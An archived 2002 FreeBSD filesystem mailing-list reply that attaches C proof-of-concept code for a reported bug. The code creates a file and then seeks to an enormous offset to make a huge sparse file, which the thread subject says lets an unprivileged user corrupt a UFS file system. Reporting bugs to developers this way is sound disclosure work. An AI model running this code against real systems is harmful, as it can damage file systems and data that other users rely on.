Date: Wed, 15 May 2002 09:40:15 +0200 From: dak <aurelien.nephtali@wanadoo.fr> To: freebsd-fs@FreeBSD.ORG Subject: Re: [FS BUG] How to easily corrupt an UFS file system with user access and big fake files. Message-ID: <20020515074015.GA1004@nitrogen> In-Reply-To: <20020515073410.GA634@nitrogen>
index | next in thread | previous in thread | raw e-mail
[-- Attachment #1 --]
Oops, here is the sample code :/
-- dak
[-- Attachment #2 --]
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
int main(void)
{
int fd, i, offset, size;
char buf[512];
fd = open("tmp", O_CREAT | O_WRONLY | O_TRUNC);
fchmod(fd, S_IRWXU);
memset(buf, 0x61, sizeof(buf));
size = 1440 * 1024;
for(i = 0, offset = 0; i < size / sizeof(buf); i++, offset += sizeof(buf))
pwrite(fd, buf, sizeof(buf), offset);
lseek(fd, size * 99999, SEEK_SET);
write(fd, buf, sizeof(buf));
printf("--> File 'tmp' is now created with a very big size...\n");
return(0);
}
home |
help
Want to link to this message? Use this
URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?20020515074015.GA1004>
